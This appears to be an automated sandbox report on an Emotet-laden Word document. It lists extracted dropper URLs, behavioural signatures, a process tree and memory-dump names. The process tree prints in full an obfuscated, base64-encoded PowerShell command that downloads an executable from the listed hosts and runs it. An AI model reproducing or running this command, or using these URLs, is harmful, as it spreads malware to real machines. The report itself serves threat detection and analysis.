Analysis
- max time kernel
130s - max time network
125s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
29/05/2024, 17:59
General
- Target 816394d70074e0abe9fd538275d9f466_JaffaCakes118.doc
- Size 139KB
- Sample240529-wkvjvsdc49
- SHA256 e34fa966fd234ccbb5a94a53017bf89970e4e43a4fc5bfa3b7b8fe604db1f937
Malware Config
Extracted
-
ps1
-
exe.dropper
https://mobilizr.com/slagmite/vfao_7pkco0lob-674967226/
-
exe.dropper
http://mmesupport.com/upload_docs/7qnxu0_on92iv5o8u-07294/
-
exe.dropper
https://miv-survey.com/ws/xz8yftcm6t_bdxduwga3w-3/
-
exe.dropper
http://moolo.pl/pub/NauVcJcbPH/
-
exe.dropper
http://mstation.jp/2004christmas/ybgiax_c3bk83e7-33621494/
Signatures
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 7 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\816394d70074e0abe9fd538275d9f466_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy bypass -WindowStyle Hidden -noprofile -e JABTADMAMgAxADkANAAzAD0AJwBZADMANgA0ADEANgAzADgAJwA7ACQASwA4ADMAXwA2ADcAMQAxACAAPQAgACcAMQAzADUAJwA7ACQAaQA5ADAANAA2ADEANAA9ACcAVAA5ADAANgA0ADUAJwA7ACQAagAwADUAMwA3ADYANgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQASwA4ADMAXwA2ADcAMQAxACsAJwAuAGUAeABlACcAOwAkAG4AOABfADQANAA2ADUAPQAnAFMAMwA2ADQAMAAwADkANQAnADsAJAByADgAXwAzADIAMQAxADkAPQAuACgAJwBuAGUAdwAtAG8AYgAnACsAJwBqACcAKwAnAGUAYwB0ACcAKQAgAG4ARQBgAFQALgBXAGAAZQBiAEMATABJAGUAYABOAFQAOwAkAFoANwA2ADEAMQAzADgAMwA9ACcAaAB0AHQAcABzADoALwAvAG0AbwBiAGkAbABpAHoAcgAuAGMAbwBtAC8AcwBsAGEAZwBtAGkAdABlAC8AdgBmAGEAbwBfADcAcABrAGMAbwAwAGwAbwBiAC0ANgA3ADQAOQA2ADcAMgAyADYALwBAAGgAdAB0AHAAOgAvAC8AbQBtAGUAcwB1AHAAcABvAHIAdAAuAGMAbwBtAC8AdQBwAGwAbwBhAGQAXwBkAG8AYwBzAC8ANwBxAG4AeAB1ADAAXwBvAG4AOQAyAGkAdgA1AG8AOAB1AC0AMAA3ADIAOQA0AC8AQABoAHQAdABwAHMAOgAvAC8AbQBpAHYALQBzAHUAcgB2AGUAeQAuAGMAbwBtAC8AdwBzAC8AeAB6ADgAeQBmAHQAYwBtADYAdABfAGIAZAB4AGQAdQB3AGcAYQAzAHcALQAzAC8AQABoAHQAdABwADoALwAvAG0AbwBvAGwAbwAuAHAAbAAvAHAAdQBiAC8ATgBhAHUAVgBjAEoAYwBiAFAASAAvAEAAaAB0AHQAcAA6AC8ALwBtAHMAdABhAHQAaQBvAG4ALgBqAHAALwAyADAAMAA0AGMAaAByAGkAcwB0AG0AYQBzAC8AeQBiAGcAaQBhAHgAXwBjADMAYgBrADgAMwBlADcALQAzADMANgAyADEANAA5ADQALwAnAC4AUwBQAEwASQBUACgAJwBAACcAKQA7ACQAVwA5ADcAOABfADYAMgA9ACcAVgAxADEANwAyADgAXwA2ACcAOwBmAG8AcgBlAGEAYwBoACgAJABhADcANwBfADkAMAA2ADgAIABpAG4AIAAkAFoANwA2ADEAMQAzADgAMwApAHsAdAByAHkAewAkAHIAOABfADMAMgAxADEAOQAuAEQATwB3AE4AbABvAGEARABGAEkAbABFACgAJABhADcANwBfADkAMAA2ADgALAAgACQAagAwADUAMwA3ADYANgApADsAJABPADMANQA4ADkAOAA9ACcAbQA2ADAAMQAxADYAJwA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAdAAtAEkAdABlAG0AJwApACAAJABqADAANQAzADcANgA2ACkALgBsAGUATgBHAFQAaAAgAC0AZwBlACAAMwA2ADAAMwA3ACkAIAB7ACYAKAAnAEkAbgB2ACcAKwAnAG8AJwArACcAawBlACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAGoAMAA1ADMANwA2ADYAOwAkAEoAXwBfADkAMwAwADgAMwA9ACcAaQA1ADcAXwA1ADYAJwA7AGIAcgBlAGEAawA7ACQAVQAxADEAOQBfADAANQA9ACcAdAA1AF8ANwA5ADMAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAYwA0ADUAMQA0ADkANgAyAD0AJwBuADIANgA1ADcAMAAwACcA1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
284F0C83.wmf
gb.xsl
__PSScriptPolicyTest_qdhcw2sv.px5.ps1
memory/1000-61-0x000001DDA3240000-0x000001DDA3262000-memory.dmp
memory/4544-5-0x00007FFA37890000-0x00007FFA37A85000-memory.dmp
memory/4544-17-0x00007FFA37890000-0x00007FFA37A85000-memory.dmp
memory/4544-7-0x00007FFA37890000-0x00007FFA37A85000-memory.dmp
memory/4544-0-0x00007FF9F7910000-0x00007FF9F7920000-memory.dmp
memory/4544-9-0x00007FFA37890000-0x00007FFA37A85000-memory.dmp
memory/4544-8-0x00007FFA37890000-0x00007FFA37A85000-memory.dmp
memory/4544-10-0x00007FF9F5440000-0x00007FF9F5450000-memory.dmp
memory/4544-11-0x00007FFA37890000-0x00007FFA37A85000-memory.dmp
memory/4544-13-0x00007FFA37890000-0x00007FFA37A85000-memory.dmp
memory/4544-12-0x00007FFA37890000-0x00007FFA37A85000-memory.dmp
memory/4544-14-0x00007FFA37890000-0x00007FFA37A85000-memory.dmp
memory/4544-15-0x00007FF9F5440000-0x00007FF9F5450000-memory.dmp
memory/4544-18-0x00007FFA37890000-0x00007FFA37A85000-memory.dmp
memory/4544-6-0x00007FF9F7910000-0x00007FF9F7920000-memory.dmp
memory/4544-16-0x00007FFA37890000-0x00007FFA37A85000-memory.dmp
memory/4544-20-0x00007FFA37890000-0x00007FFA37A85000-memory.dmp
memory/4544-19-0x00007FFA37890000-0x00007FFA37A85000-memory.dmp
memory/4544-3-0x00007FFA3792D000-0x00007FFA3792E000-memory.dmp
memory/4544-4-0x00007FF9F7910000-0x00007FF9F7920000-memory.dmp
memory/4544-1-0x00007FF9F7910000-0x00007FF9F7920000-memory.dmp
memory/4544-2-0x00007FF9F7910000-0x00007FF9F7920000-memory.dmp
memory/4544-552-0x00007FFA37890000-0x00007FFA37A85000-memory.dmp
memory/4544-582-0x00007FF9F7910000-0x00007FF9F7920000-memory.dmp
memory/4544-583-0x00007FF9F7910000-0x00007FF9F7920000-memory.dmp
memory/4544-584-0x00007FF9F7910000-0x00007FF9F7920000-memory.dmp
memory/4544-581-0x00007FF9F7910000-0x00007FF9F7920000-memory.dmp
memory/4544-585-0x00007FFA37890000-0x00007FFA37A85000-memory.dmp